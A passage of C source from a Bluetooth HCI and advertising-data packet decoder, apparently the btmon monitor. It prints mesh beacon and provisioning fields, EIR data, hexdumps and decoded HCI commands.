print_field(" Key Refresh");
if (data[1] & 0x02)
print_field(" IV Update");
print_hex_field(" Network Id", data + 2, 8);
print_field(" IV Index: 0x%08x", get_be32(data + 10));
print_hex_field(" Authentication Value", data + 14, 8);
packet_hexdump(data + 22, len - 22);
break;
default:
print_field(" Invalid Beacon (0x%02x)", data[0]);
packet_hexdump(data, len);
break;
}
}
static void print_mesh_prov(const uint8_t *data, uint8_t len)
{
print_hex_field("Mesh Provisioning", data, len);
if (len < 6) {
packet_hexdump(data, len);
return;
}
print_field(" Link ID: 0x%08x", get_be32(data));
print_field(" Transaction Number: %u", data[4]);
data += 5;
len -= 5;
switch (data[0] & 0x03) {
case 0x00:
print_field(" Transaction Start (0x00)");
if (len < 5) {
packet_hexdump(data + 1, len - 1);
return;
}
print_field(" SeqN: %u", data[0] & 0xfc >> 2);
print_field(" TotalLength: %u", get_be16(data + 1));
print_field(" FCS: 0x%2.2x", data[3]);
print_hex_field(" Data", data + 4, len - 4);
packet_hexdump(data + 5, len - 5);
break;
case 0x01:
print_field(" Transaction Acknowledgment (0x01)");
packet_hexdump(data + 1, len - 1);
break;
case 0x02:
print_field(" Transaction Continuation (0x02)");
print_field(" SegmentIndex: %u", data[0] >> 2);
if (len < 2) {
packet_hexdump(data + 1, len - 1);
return;
}
print_hex_field(" Data", data + 1, len - 1);
packet_hexdump(data + 2, len - 2);
break;
case 0x03:
print_field(" Provisioning Bearer Control (0x03)");
switch (data[0] >> 2) {
case 0x00:
print_field(" Link Open (0x00)");
if (len < 17) {
packet_hexdump(data + 1, len - 1);
break;
}
print_hex_field(" Device UUID", data, 16);
break;
case 0x01:
print_field(" Link Ack (0x01)");
break;
case 0x02:
print_field(" Link Close (0x02)");
if (len < 2) {
packet_hexdump(data + 1, len - 1);
break;
}
switch (data[1]) {
case 0x00:
print_field(" Reason: Success (0x00)");
break;
case 0x01:
print_field(" Reason: Timeout (0x01)");
break;
case 0x02:
print_field(" Reason: Fail (0x02)");
break;
default:
print_field(" Reason: Unrecognized (0x%2.2x)",
data[1]);
}
packet_hexdump(data + 2, len - 2);
break;
default:
packet_hexdump(data + 1, len - 1);
break;
}
break;
default:
print_field(" Invalid Command (0x%02x)", data[0]);
packet_hexdump(data, len);
break;
}
}
static void print_mesh_data(const uint8_t *data, uint8_t len)
{
print_hex_field("Mesh Data", data, len);
if (len < 1)
return;
print_field(" IVI: %u", data[0] >> 7);
print_field(" NID: 0x%2.2x", data[0] & 0x7f);
packet_hexdump(data + 1, len - 1);
}
static void print_transport_data(const uint8_t *data, uint8_t len)
{
print_field("Transport Discovery Data");
if (len < 3)
return;
print_field(" Organization: %s (0x%02x)",
data[0] == 0x01 ? "Bluetooth SIG" : "RFU", data[0]);
print_field(" Flags: 0x%2.2x", data[1]);
print_field(" Role: 0x%2.2x", data[1] & 0x03);
switch (data[1] & 0x03) {
case 0x00:
print_field(" Not Specified");
break;
case 0x01:
print_field(" Seeker Only");
break;
case 0x02:
print_field(" Provider Only");
break;
case 0x03:
print_field(" Both Seeker an Provider");
break;
}
print_field(" Transport Data Incomplete: %s (0x%2.2x)",
data[1] & 0x04 ? "True" : "False", data[1] & 0x04);
print_field(" Transport State: 0x%2.2x", data[1] & 0x18);
switch (data[1] & 0x18) {
case 0x00:
print_field(" Off");
break;
case 0x08:
print_field(" On");
break;
case 0x10:
print_field(" Temporary Unavailable");
break;
case 0x18:
print_field(" RFU");
break;
}
print_field(" Length: %u", data[2]);
print_hex_field(" Data", data + 3, len - 3);
}
static void print_eir(const uint8_t *eir, uint8_t eir_len, bool le)
{
uint16_t len = 0;
if (eir_len == 0)
return;
while (len < eir_len - 1) {
uint8_t field_len = eir[0];
const uint8_t *data = &eir[2];
uint8_t data_len;
char name[239], label[100];
uint8_t flags, mask;
/* Check for the end of EIR */
if (field_len == 0)
break;
len += field_len + 1;
/* Do not continue EIR Data parsing if got incorrect length */
if (len > eir_len) {
len -= field_len + 1;
break;
}
data_len = field_len - 1;
switch (eir[1]) {
case BT_EIR_FLAGS:
flags = *data;
print_field("Flags: 0x%2.2x", flags);
mask = print_bitfield(2, flags, eir_flags_table);
if (mask)
print_text(COLOR_UNKNOWN_SERVICE_CLASS,
" Unknown flags (0x%2.2x)", mask);
break;
case BT_EIR_UUID16_SOME:
if (data_len < sizeof(uint16_t))
break;
print_uuid16_list("16-bit Service UUIDs (partial)",
data, data_len);
break;
case BT_EIR_UUID16_ALL:
if (data_len < sizeof(uint16_t))
break;
print_uuid16_list("16-bit Service UUIDs (complete)",
data, data_len);
break;
case BT_EIR_UUID32_SOME:
if (data_len < sizeof(uint32_t))
break;
print_uuid32_list("32-bit Service UUIDs (partial)",
data, data_len);
break;
case BT_EIR_UUID32_ALL:
if (data_len < sizeof(uint32_t))
break;
print_uuid32_list("32-bit Service UUIDs (complete)",
data, data_len);
break;
case BT_EIR_UUID128_SOME:
if (data_len < 16)
break;
print_uuid128_list("128-bit Service UUIDs (partial)",
data, data_len);
break;
case BT_EIR_UUID128_ALL:
if (data_len < 16)
break;
print_uuid128_list("128-bit Service UUIDs (complete)",
data, data_len);
break;
case BT_EIR_NAME_SHORT:
memset(name, 0, sizeof(name));
memcpy(name, data, data_len);
print_field("Name (short): %s", name);
break;
case BT_EIR_NAME_COMPLETE:
memset(name, 0, sizeof(name));
memcpy(name, data, data_len);
print_field("Name (complete): %s", name);
break;
case BT_EIR_TX_POWER:
if (data_len < 1)
break;
print_field("TX power: %d dBm", (int8_t) *data);
break;
case BT_EIR_CLASS_OF_DEV:
if (data_len < 3)
break;
print_dev_class(data);
break;
case BT_EIR_SSP_HASH_P192:
if (data_len < 16)
break;
print_hash_p192(data);
break;
case BT_EIR_SSP_RANDOMIZER_P192:
if (data_len < 16)
break;
print_randomizer_p192(data);
break;
case BT_EIR_DEVICE_ID:
/* SMP TK has the same value as Device ID */
if (le)
print_hex_field("SMP TK", data, data_len);
else if (data_len >= 8)
print_device_id(data, data_len);
break;
case BT_EIR_SMP_OOB_FLAGS:
print_field("SMP OOB Flags: 0x%2.2x", *data);
break;
case BT_EIR_SLAVE_CONN_INTERVAL:
if (data_len < 4)
break;
print_field("Slave Conn. Interval: 0x%4.4x - 0x%4.4x",
get_le16(&data[0]),
get_le16(&data[2]));
break;
case BT_EIR_SERVICE_UUID16:
if (data_len < sizeof(uint16_t))
break;
print_uuid16_list("16-bit Service UUIDs",
data, data_len);
break;
case BT_EIR_SERVICE_UUID128:
if (data_len < 16)
break;
print_uuid128_list("128-bit Service UUIDs",
data, data_len);
break;
case BT_EIR_SERVICE_DATA:
if (data_len < 2)
break;
sprintf(label, "Service Data (UUID 0x%4.4x)",
get_le16(&data[0]));
print_hex_field(label, &data[2], data_len - 2);
break;
case BT_EIR_RANDOM_ADDRESS:
if (data_len < 6)
break;
print_addr("Random Address", data, 0x01);
break;
case BT_EIR_PUBLIC_ADDRESS:
if (data_len < 6)
break;
print_addr("Public Address", data, 0x00);
break;
case BT_EIR_GAP_APPEARANCE:
if (data_len < 2)
break;
print_appearance(get_le16(data));
break;
case BT_EIR_SSP_HASH_P256:
if (data_len < 16)
break;
print_hash_p256(data);
break;
case BT_EIR_SSP_RANDOMIZER_P256:
if (data_len < 16)
break;
print_randomizer_p256(data);
break;
case BT_EIR_TRANSPORT_DISCOVERY:
print_transport_data(data, data_len);
break;
case BT_EIR_3D_INFO_DATA:
print_hex_field("3D Information Data", data, data_len);
if (data_len < 2)
break;
flags = *data;
print_field(" Features: 0x%2.2x", flags);
mask = print_bitfield(4, flags, eir_3d_table);
if (mask)
print_text(COLOR_UNKNOWN_FEATURE_BIT,
" Unknown features (0x%2.2x)", mask);
print_field(" Path Loss Threshold: %d", data[1]);
break;
case BT_EIR_MESH_DATA:
print_mesh_data(data, data_len);
break;
case BT_EIR_MESH_PROV:
print_mesh_prov(data, data_len);
break;
case BT_EIR_MESH_BEACON:
print_mesh_beacon(data, data_len);
break;
case BT_EIR_MANUFACTURER_DATA:
if (data_len < 2)
break;
print_manufacturer_data(data, data_len);
break;
default:
sprintf(label, "Unknown EIR field 0x%2.2x", eir[1]);
print_hex_field(label, data, data_len);
break;
}
eir += field_len + 1;
}
if (len < eir_len && eir[0] != 0)
packet_hexdump(eir, eir_len - len);
}
void packet_print_addr(const char *label, const void *data, bool random)
{
print_addr(label ? : "Address", data, random ? 0x01 : 0x00);
}
void packet_print_handle(uint16_t handle)
{
print_handle_native(handle);
}
void packet_print_rssi(const char *label, int8_t rssi)
{
if ((uint8_t) rssi == 0x99 || rssi == 127)
print_field("%s: invalid (0x%2.2x)", label, (uint8_t) rssi);
else
print_field("%s: %d dBm (0x%2.2x)", label, rssi,
(uint8_t) rssi);
}
void packet_print_ad(const void *data, uint8_t size)
{
print_eir(data, size, true);
}
struct broadcast_message {
uint32_t frame_sync_instant;
uint16_t bluetooth_clock_phase;
uint16_t left_open_offset;
uint16_t left_close_offset;
uint16_t right_open_offset;
uint16_t right_close_offset;
uint16_t frame_sync_period;
uint8_t frame_sync_period_fraction;
} __attribute__ ((packed));
static void print_3d_broadcast(const void *data, uint8_t size)
{
const struct broadcast_message *msg = data;
uint32_t instant;
uint16_t left_open, left_close, right_open, right_close;
uint16_t phase, period;
uint8_t period_frac;
bool mode;
instant = le32_to_cpu(msg->frame_sync_instant);
mode = !!(instant & 0x40000000);
phase = le16_to_cpu(msg->bluetooth_clock_phase);
left_open = le16_to_cpu(msg->left_open_offset);
left_close = le16_to_cpu(msg->left_close_offset);
right_open = le16_to_cpu(msg->right_open_offset);
right_close = le16_to_cpu(msg->right_close_offset);
period = le16_to_cpu(msg->frame_sync_period);
period_frac = msg->frame_sync_period_fraction;
print_field(" Frame sync instant: 0x%8.8x", instant & 0x7fffffff);
print_field(" Video mode: %s (%d)", mode ? "Dual View" : "3D", mode);
print_field(" Bluetooth clock phase: %d usec (0x%4.4x)",
phase, phase);
print_field(" Left lense shutter open offset: %d usec (0x%4.4x)",
left_open, left_open);
print_field(" Left lense shutter close offset: %d usec (0x%4.4x)",
left_close, left_close);
print_field(" Right lense shutter open offset: %d usec (0x%4.4x)",
right_open, right_open);
print_field(" Right lense shutter close offset: %d usec (0x%4.4x)",
right_close, right_close);
print_field(" Frame sync period: %d.%d usec (0x%4.4x 0x%2.2x)",
period, period_frac * 256,
period, period_frac);
}
void packet_hexdump(const unsigned char *buf, uint16_t len)
{
static const char hexdigits[] = "0123456789abcdef";
char str[68];
uint16_t i;
if (!len)
return;
for (i = 0; i < len; i++) {
str[((i % 16) * 3) + 0] = hexdigits[buf[i] >> 4];
str[((i % 16) * 3) + 1] = hexdigits[buf[i] & 0xf];
str[((i % 16) * 3) + 2] = ' ';
str[(i % 16) + 49] = isprint(buf[i]) ? buf[i] : '.';
if ((i + 1) % 16 == 0) {
str[47] = ' ';
str[48] = ' ';
str[65] = '\0';
print_text(COLOR_WHITE, "%s", str);
str[0] = ' ';
}
}
if (i % 16 > 0) {
uint16_t j;
for (j = (i % 16); j < 16; j++) {
str[(j * 3) + 0] = ' ';
str[(j * 3) + 1] = ' ';
str[(j * 3) + 2] = ' ';
str[j + 49] = ' ';
}
str[47] = ' ';
str[48] = ' ';
str[65] = '\0';
print_text(COLOR_WHITE, "%s", str);
}
}
void packet_control(struct timeval *tv, struct ucred *cred,
uint16_t index, uint16_t opcode,
const void *data, uint16_t size)
{
control_message(opcode, data, size);
}
static int addr2str(const uint8_t *addr, char *str)
{
return sprintf(str, "%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X",
addr[5], addr[4], addr[3], addr[2], addr[1], addr[0]);
}
void packet_monitor(struct timeval *tv, struct ucred *cred,
uint16_t index, uint16_t opcode,
const void *data, uint16_t size)
{
const struct btsnoop_opcode_new_index *ni;
const struct btsnoop_opcode_index_info *ii;
const struct btsnoop_opcode_user_logging *ul;
char str[18], extra_str[24];
uint16_t manufacturer;
const char *ident;
if (index != HCI_DEV_NONE) {
index_current = index;
}
if (index != HCI_DEV_NONE && index >= MAX_INDEX) {
print_field("Invalid index (%d)", index);
return;
}
if (tv && time_offset == ((time_t) -1))
time_offset = tv->tv_sec;
switch (opcode) {
case BTSNOOP_OPCODE_NEW_INDEX:
ni = data;
if (index < MAX_INDEX) {
index_list[index].type = ni->type;
memcpy(index_list[index].bdaddr, ni->bdaddr, 6);
index_list[index].manufacturer = fallback_manufacturer;
index_list[index].msft_opcode = BT_HCI_CMD_NOP;
}
addr2str(ni->bdaddr, str);
packet_new_index(tv, index, str, ni->type, ni->bus, ni->name);
break;
case BTSNOOP_OPCODE_DEL_INDEX:
if (index < MAX_INDEX)
addr2str(index_list[index].bdaddr, str);
else
sprintf(str, "00:00:00:00:00:00");
packet_del_index(tv, index, str);
break;
case BTSNOOP_OPCODE_COMMAND_PKT:
packet_hci_command(tv, cred, index, data, size);
break;
case BTSNOOP_OPCODE_EVENT_PKT:
packet_hci_event(tv, cred, index, data, size);
break;
case BTSNOOP_OPCODE_ACL_TX_PKT:
packet_hci_acldata(tv, cred, index, false, data, size);
break;
case BTSNOOP_OPCODE_ACL_RX_PKT:
packet_hci_acldata(tv, cred, index, true, data, size);
break;
case BTSNOOP_OPCODE_SCO_TX_PKT:
packet_hci_scodata(tv, cred, index, false, data, size);
break;
case BTSNOOP_OPCODE_SCO_RX_PKT:
packet_hci_scodata(tv, cred, index, true, data, size);
break;
case BTSNOOP_OPCODE_ISO_TX_PKT:
packet_hci_isodata(tv, cred, index, false, data, size);
break;
case BTSNOOP_OPCODE_ISO_RX_PKT:
packet_hci_isodata(tv, cred, index, true, data, size);
break;
case BTSNOOP_OPCODE_OPEN_INDEX:
if (index < MAX_INDEX)
addr2str(index_list[index].bdaddr, str);
else
sprintf(str, "00:00:00:00:00:00");
packet_open_index(tv, index, str);
break;
case BTSNOOP_OPCODE_CLOSE_INDEX:
if (index < MAX_INDEX)
addr2str(index_list[index].bdaddr, str);
else
sprintf(str, "00:00:00:00:00:00");
packet_close_index(tv, index, str);
break;
case BTSNOOP_OPCODE_INDEX_INFO:
ii = data;
manufacturer = le16_to_cpu(ii->manufacturer);
if (index < MAX_INDEX) {
memcpy(index_list[index].bdaddr, ii->bdaddr, 6);
index_list[index].manufacturer = manufacturer;
switch (manufacturer) {
case 2:
/*
* Intel controllers that support the
* Microsoft vendor extension are using
* 0xFC1E for VsMsftOpCode.
*/
index_list[index].msft_opcode = 0xFC1E;
break;
case 93:
/*
* Realtek controllers that support the
* Microsoft vendor extenions are using
* 0xFCF0 for VsMsftOpCode.
*/
index_list[index].msft_opcode = 0xFCF0;
break;
}
}
addr2str(ii->bdaddr, str);
packet_index_info(tv, index, str, manufacturer);
break;
case BTSNOOP_OPCODE_VENDOR_DIAG:
if (index < MAX_INDEX)
manufacturer = index_list[index].manufacturer;
else
manufacturer = fallback_manufacturer;
packet_vendor_diag(tv, index, manufacturer, data, size);
break;
case BTSNOOP_OPCODE_SYSTEM_NOTE:
packet_system_note(tv, cred, index, data);
break;
case BTSNOOP_OPCODE_USER_LOGGING:
ul = data;
ident = ul->ident_len ? data + sizeof(*ul) : NULL;
packet_user_logging(tv, cred, index, ul->priority, ident,
data + sizeof(*ul) + ul->ident_len,
size - (sizeof(*ul) + ul->ident_len));
break;
case BTSNOOP_OPCODE_CTRL_OPEN:
control_disable_decoding();
packet_ctrl_open(tv, cred, index, data, size);
break;
case BTSNOOP_OPCODE_CTRL_CLOSE:
packet_ctrl_close(tv, cred, index, data, size);
break;
case BTSNOOP_OPCODE_CTRL_COMMAND:
packet_ctrl_command(tv, cred, index, data, size);
break;
case BTSNOOP_OPCODE_CTRL_EVENT:
packet_ctrl_event(tv, cred, index, data, size);
break;
default:
sprintf(extra_str, "(code %d len %d)", opcode, size);
print_packet(tv, cred, '*', index, NULL, COLOR_ERROR,
"Unknown packet", NULL, extra_str);
packet_hexdump(data, size);
break;
}
}
void packet_simulator(struct timeval *tv, uint16_t frequency,
const void *data, uint16_t size)
{
char str[10];
if (tv && time_offset == ((time_t) -1))
time_offset = tv->tv_sec;
sprintf(str, "%u MHz", frequency);
print_packet(tv, NULL, '*', 0, NULL, COLOR_PHY_PACKET,
"Physical packet:", NULL, str);
ll_packet(frequency, data, size, false);
}
static void null_cmd(const void *data, uint8_t size)
{
}
static void status_rsp(const void *data, uint8_t size)
{
uint8_t status = *((const uint8_t *) data);
print_status(status);
}
static void status_handle_rsp(const void *data, uint8_t size)
{
uint8_t status = *((const uint8_t *) data);
print_status(status);
print_field("Connection handle: %d", get_u8(data + 1));
}
static void status_bdaddr_rsp(const void *data, uint8_t size)
{
uint8_t status = *((const uint8_t *) data);
print_status(status);
print_bdaddr(data + 1);
}
static void inquiry_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_inquiry *cmd = data;
print_iac(cmd->lap);
print_field("Length: %.2fs (0x%2.2x)",
cmd->length * 1.28, cmd->length);
print_num_resp(cmd->num_resp);
}
static void periodic_inquiry_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_periodic_inquiry *cmd = data;
print_field("Max period: %.2fs (0x%2.2x)",
cmd->max_period * 1.28, cmd->max_period);
print_field("Min period: %.2fs (0x%2.2x)",
cmd->min_period * 1.28, cmd->min_period);
print_iac(cmd->lap);
print_field("Length: %.2fs (0x%2.2x)",
cmd->length * 1.28, cmd->length);
print_num_resp(cmd->num_resp);
}
static void create_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_create_conn *cmd = data;
const char *str;
print_bdaddr(cmd->bdaddr);
print_pkt_type(cmd->pkt_type);
print_pscan_rep_mode(cmd->pscan_rep_mode);
print_pscan_mode(cmd->pscan_mode);
print_clock_offset(cmd->clock_offset);
switch (cmd->role_switch) {
case 0x00:
str = "Stay master";
break;
case 0x01:
str = "Allow slave";
break;
default:
str = "Reserved";
break;
}
print_field("Role switch: %s (0x%2.2x)", str, cmd->role_switch);
}
static void disconnect_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_disconnect *cmd = data;
print_handle(cmd->handle);
print_reason(cmd->reason);
}
static void add_sco_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_add_sco_conn *cmd = data;
print_handle(cmd->handle);
print_pkt_type_sco(cmd->pkt_type);
}
static void create_conn_cancel_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_create_conn_cancel *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void accept_conn_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_accept_conn_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_role(cmd->role);
}
static void reject_conn_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_reject_conn_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_reason(cmd->reason);
}
static void link_key_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_link_key_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_link_key(cmd->link_key);
}
static void link_key_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_link_key_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void pin_code_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_pin_code_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_field("PIN length: %d", cmd->pin_len);
print_pin_code(cmd->pin_code, cmd->pin_len);
}
static void pin_code_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_pin_code_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void change_conn_pkt_type_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_change_conn_pkt_type *cmd = data;
print_handle(cmd->handle);
print_pkt_type(cmd->pkt_type);
}
static void auth_requested_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_auth_requested *cmd = data;
print_handle(cmd->handle);
}
static void set_conn_encrypt_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_conn_encrypt *cmd = data;
print_handle(cmd->handle);
print_enable("Encryption", cmd->encr_mode);
}
static void change_conn_link_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_change_conn_link_key *cmd = data;
print_handle(cmd->handle);
}
static void master_link_key_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_master_link_key *cmd = data;
print_key_flag(cmd->key_flag);
}
static void remote_name_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_remote_name_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_pscan_rep_mode(cmd->pscan_rep_mode);
print_pscan_mode(cmd->pscan_mode);
print_clock_offset(cmd->clock_offset);
}
static void remote_name_request_cancel_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_remote_name_request_cancel *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void read_remote_features_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_remote_features *cmd = data;
print_handle(cmd->handle);
}
static void read_remote_ext_features_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_remote_ext_features *cmd = data;
print_handle(cmd->handle);
print_field("Page: %d", cmd->page);
}
static void read_remote_version_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_remote_version *cmd = data;
print_handle(cmd->handle);
}
static void read_clock_offset_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_clock_offset *cmd = data;
print_handle(cmd->handle);
}
static void read_lmp_handle_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_read_lmp_handle *cmd = data;
print_handle(cmd->handle);
}
static void read_lmp_handle_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_read_lmp_handle *rsp = data;
print_status(rsp->status);
print_handle(rsp->handle);
print_field("LMP handle: %d", rsp->lmp_handle);
print_field("Reserved: %d", le32_to_cpu(rsp->reserved));
}
static void setup_sync_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_setup_sync_conn *cmd = data;
print_handle(cmd->handle);
print_field("Transmit bandwidth: %d", le32_to_cpu(cmd->tx_bandwidth));
print_field("Receive bandwidth: %d", le32_to_cpu(cmd->rx_bandwidth));
print_field("Max latency: %d", le16_to_cpu(cmd->max_latency));
print_voice_setting(cmd->voice_setting);
print_retransmission_effort(cmd->retrans_effort);
print_pkt_type_sco(cmd->pkt_type);
}
static void accept_sync_conn_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_accept_sync_conn_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_field("Transmit bandwidth: %d", le32_to_cpu(cmd->tx_bandwidth));
print_field("Receive bandwidth: %d", le32_to_cpu(cmd->rx_bandwidth));
print_field("Max latency: %d", le16_to_cpu(cmd->max_latency));
print_voice_setting(cmd->voice_setting);
print_retransmission_effort(cmd->retrans_effort);
print_pkt_type_sco(cmd->pkt_type);
}
static void reject_sync_conn_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_reject_sync_conn_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_reason(cmd->reason);
}
static void io_capability_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_io_capability_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_io_capability(cmd->capability);
print_oob_data(cmd->oob_data);
print_authentication(cmd->authentication);
}
static void user_confirm_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_user_confirm_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void user_confirm_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_user_confirm_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void user_passkey_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_user_passkey_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_passkey(cmd->passkey);
}
static void user_passkey_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_user_passkey_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void remote_oob_data_request_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_remote_oob_data_request_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_hash_p192(cmd->hash);
print_randomizer_p192(cmd->randomizer);
}
static void remote_oob_data_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_remote_oob_data_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void io_capability_request_neg_reply_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_io_capability_request_neg_reply *cmd = data;
print_bdaddr(cmd->bdaddr);
print_reason(cmd->reason);
}
static void create_phy_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_create_phy_link *cmd = data;
print_phy_handle(cmd->phy_handle);
print_key_len(cmd->key_len);
print_key_type(cmd->key_type);
packet_hexdump(data + 3, size - 3);
}
static void accept_phy_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_accept_phy_link *cmd = data;
print_phy_handle(cmd->phy_handle);
print_key_len(cmd->key_len);
print_key_type(cmd->key_type);
packet_hexdump(data + 3, size - 3);
}
static void disconn_phy_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_disconn_phy_link *cmd = data;
print_phy_handle(cmd->phy_handle);
print_reason(cmd->reason);
}
static void create_logic_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_create_logic_link *cmd = data;
print_phy_handle(cmd->phy_handle);
print_flow_spec("TX", cmd->tx_flow_spec);
print_flow_spec("RX", cmd->rx_flow_spec);
}
static void accept_logic_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_accept_logic_link *cmd = data;
print_phy_handle(cmd->phy_handle);
print_flow_spec("TX", cmd->tx_flow_spec);
print_flow_spec("RX", cmd->rx_flow_spec);
}
static void disconn_logic_link_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_disconn_logic_link *cmd = data;
print_handle(cmd->handle);
}
static void logic_link_cancel_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_logic_link_cancel *cmd = data;
print_phy_handle(cmd->phy_handle);
print_field("TX flow spec: 0x%2.2x", cmd->flow_spec);
}
static void logic_link_cancel_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_logic_link_cancel *rsp = data;
print_status(rsp->status);
print_phy_handle(rsp->phy_handle);
print_field("TX flow spec: 0x%2.2x", rsp->flow_spec);
}
static void flow_spec_modify_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_flow_spec_modify *cmd = data;
print_handle(cmd->handle);
print_flow_spec("TX", cmd->tx_flow_spec);
print_flow_spec("RX", cmd->rx_flow_spec);
}
static void enhanced_setup_sync_conn_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_enhanced_setup_sync_conn *cmd = data;
print_handle(cmd->handle);
print_field("Transmit bandwidth: %d", le32_to_cpu(cmd->tx_bandwidth));
print_field("Receive bandwidth: %d", le32_to_cpu(cmd->rx_bandwidth));
/* TODO */
print_field("Max latency: %d", le16_to_cpu(cmd->max_latency));
print_pkt_type_sco(cmd->pkt_type);
print_retransmission_effort(cmd->retrans_effort);
}
static void enhanced_accept_sync_conn_request_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_enhanced_accept_sync_conn_request *cmd = data;
print_bdaddr(cmd->bdaddr);
print_field("Transmit bandwidth: %d", le32_to_cpu(cmd->tx_bandwidth));
print_field("Receive bandwidth: %d", le32_to_cpu(cmd->rx_bandwidth));
/* TODO */
print_field("Max latency: %d", le16_to_cpu(cmd->max_latency));
print_pkt_type_sco(cmd->pkt_type);
print_retransmission_effort(cmd->retrans_effort);
}
static void truncated_page_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_truncated_page *cmd = data;
print_bdaddr(cmd->bdaddr);
print_pscan_rep_mode(cmd->pscan_rep_mode);
print_clock_offset(cmd->clock_offset);
}
static void truncated_page_cancel_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_truncated_page_cancel *cmd = data;
print_bdaddr(cmd->bdaddr);
}
static void set_slave_broadcast_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_slave_broadcast *cmd = data;
print_field("Enable: 0x%2.2x", cmd->enable);
print_lt_addr(cmd->lt_addr);
print_lpo_allowed(cmd->lpo_allowed);
print_pkt_type(cmd->pkt_type);
print_slot_625("Min interval", cmd->min_interval);
print_slot_625("Max interval", cmd->max_interval);
print_slot_625("Supervision timeout", cmd->timeout);
}
static void set_slave_broadcast_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_set_slave_broadcast *rsp = data;
print_status(rsp->status);
print_lt_addr(rsp->lt_addr);
print_interval(rsp->interval);
}
static void set_slave_broadcast_receive_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_set_slave_broadcast_receive *cmd = data;
print_field("Enable: 0x%2.2x", cmd->enable);
print_bdaddr(cmd->bdaddr);
print_lt_addr(cmd->lt_addr);
print_interval(cmd->interval);
print_field("Offset: 0x%8.8x", le32_to_cpu(cmd->offset));
print_field("Next broadcast instant: 0x%4.4x",
le16_to_cpu(cmd->instant));
print_slot_625("Supervision timeout", cmd->timeout);
print_field("Remote timing accuracy: %d ppm", cmd->accuracy);
print_field("Skip: 0x%2.2x", cmd->skip);
print_pkt_type(cmd->pkt_type);
print_channel_map(cmd->map);
}
static void set_slave_broadcast_receive_rsp(const void *data, uint8_t size)
{
const struct bt_hci_rsp_set_slave_broadcast_receive *rsp = data;
print_status(rsp->status);
print_bdaddr(rsp->bdaddr);
print_lt_addr(rsp->lt_addr);
}
static void receive_sync_train_cmd(const void *data, uint8_t size)
{
const struct bt_hci_cmd_receive_sync_train *cmd = data;
print_bdaddr(cmd->bdaddr);
